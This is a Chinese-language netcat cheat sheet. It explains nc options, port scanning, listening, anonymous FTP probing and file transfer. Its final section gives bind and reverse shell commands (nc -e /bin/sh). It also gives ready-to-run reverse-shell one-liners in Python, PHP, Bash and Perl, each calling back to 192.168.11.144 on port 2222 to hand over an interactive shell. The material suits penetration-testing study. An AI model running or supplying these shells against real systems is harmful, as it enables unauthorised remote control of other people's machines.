netcat
Comment参数:
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。
连接到远程主机
nc -nvv Targert_IP Targert_Port
监听本地主机
nc -l -p Local_Port
端口扫描
扫描指定主机的单一端口是否开放
nc -v target_IP target_Port
扫描指定主机的某个端口段的端口开放信息
nc -v -z Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的某个UDP端口段,并且返回端口信息
nc -v -z -u Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的端口段信息,并且设置超时时间为3秒
nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End
端口监听
监听本地端口
格式:nc -l -p local_Port
监听本地端口,并且将监听到的信息保存到指定的文件中
格式:nc -l -p local_Port > target_File
连接远程系统
格式:nc Target_IP Target_Port
FTP匿名探测
格式:nc Targert_IP 21
文件传输
传输端:
格式:nc Targert_IP Targert_Port < Targert_File
接收端:
格式:nc -l Local_Port > Targert_File
获取shell
正向shell:客户端连接服务器
本地主机:
nc target_ip target_port
目标主机:
nc -lvp target_port -e /bin/sh
反向shell:服务器链接客户端
本地主机:
nc -lvp target_port
目标主机:
nc target_ip target_port -e /bin/sh
目标主机上没有nc
python反向shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反向shell
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
Bash反向shell
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
Perl反向shell
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'